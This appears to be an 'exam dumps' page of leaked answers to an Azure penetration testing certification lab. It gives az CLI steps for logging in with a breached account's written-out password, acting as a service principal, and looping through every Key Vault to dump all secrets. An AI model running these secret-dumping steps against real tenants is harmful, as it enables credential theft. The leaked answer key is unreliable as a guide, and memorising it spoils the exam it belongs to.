The SecOps Group CCPenX-Az Exam Dumps

Detailed Solution:

From Q7, you should recover a limited-access SAS token or storage access information.

Set the storage account name and SAS token:

ACCOUNT='excaliburstore'

SAS='<recovered-sas-token>'

List containers:

az storage container list \

--account-name '$ACCOUNT' \

--sas-token '$SAS' \

--output table

The available container is:

sensitive-files

You can also confirm directly:

az storage blob list \

--account-name '$ACCOUNT' \

--container-name sensitive-files \

--sas-token '$SAS' \

--output table

Final Answer:

C . sensitive-files

================

Use az login --service-principal

Detailed Solution:

Command:

az login --service-principal \

-u c5fba7db-5e61-45bc-8944-3cd457bb19c2 \

-p '<client-secret>' \

--tenant 8f34c1de-1198-4c2a-b1a8-1eaa72f6e99a

Verify:

az account show --output json

Expected important field:

{

'user': {

'name': 'c5fba7db-5e61-45bc-8944-3cd457bb19c2',

'type': 'servicePrincipal'

}

}

This confirms you are authenticated as the App Registration/service principal.

================

f015f36d-c07f-41fb-9bde-fffc3a22ee8b

Detailed Solution:

Log in using the supplied breached Azure account.

az login -u alex.johnson@azuresecops.onmicrosoft.com -p 'pg:Lr{k102l(fh7!'

After successful authentication, check the active Azure subscription context.

az account show

The important fields are:

{

'id': '7403ec86-c39d-4d80-9efa-35c7580ecefa',

'name': 'Azure subscription 1',

'tenantDefaultDomain': 'azuresecops.onmicrosoft.com',

'tenantDisplayName': 'ExcaliburCorp',

'tenantId': 'f015f36d-c07f-41fb-9bde-fffc3a22ee8b'

}

The AAD / Microsoft Entra tenant ID is the tenantId.

Final Answer:

f015f36d-c07f-41fb-9bde-fffc3a22ee8b

================

The answer is the final Flag{...} value stored in Azure Key Vault and readable by the compromised App Registration.

Detailed Solution:

Stay authenticated as the service principal from Q10.

az account show

List visible Key Vaults:

az keyvault list --output table

If only one vault is returned, use it directly. If multiple vaults exist, enumerate all of them.

for kv in $(az keyvault list --query '[].name' -o tsv); do

echo '===== $kv ====='

az keyvault secret list \

--vault-name '$kv' \

--output table

done

Once you identify secret names, retrieve their values:

az keyvault secret show \

--vault-name <vault-name> \

--name <secret-name> \

--query value \

--output tsv

To dump all readable secrets from all visible vaults:

for kv in $(az keyvault list --query '[].name' -o tsv); do

echo '===== Vault: $kv ====='

for sec in $(az keyvault secret list --vault-name '$kv' --query '[].name' -o tsv); do

echo '----- Secret: $sec -----'

az keyvault secret show \

--vault-name '$kv' \

--name '$sec' \

--query value \

--output tsv

done

done

Look for the final value in this format:

Flag{...}

That returned secret value is the final tenant flag.

Final Answer:

Use the Flag{...} value returned by az keyvault secret show.

rg-prod-apps-eastus

Detailed Solution:

List accessible resource groups:

az group list --output table

For a cleaner search:

az group list \

--query '[?contains(name, 'prod')].{Name:name,Location:location}' \

--output table

Expected output:

Name Location

-------------------- ----------

rg-prod-apps-eastus eastus

The resource group containing prod is:

rg-prod-apps-eastus

================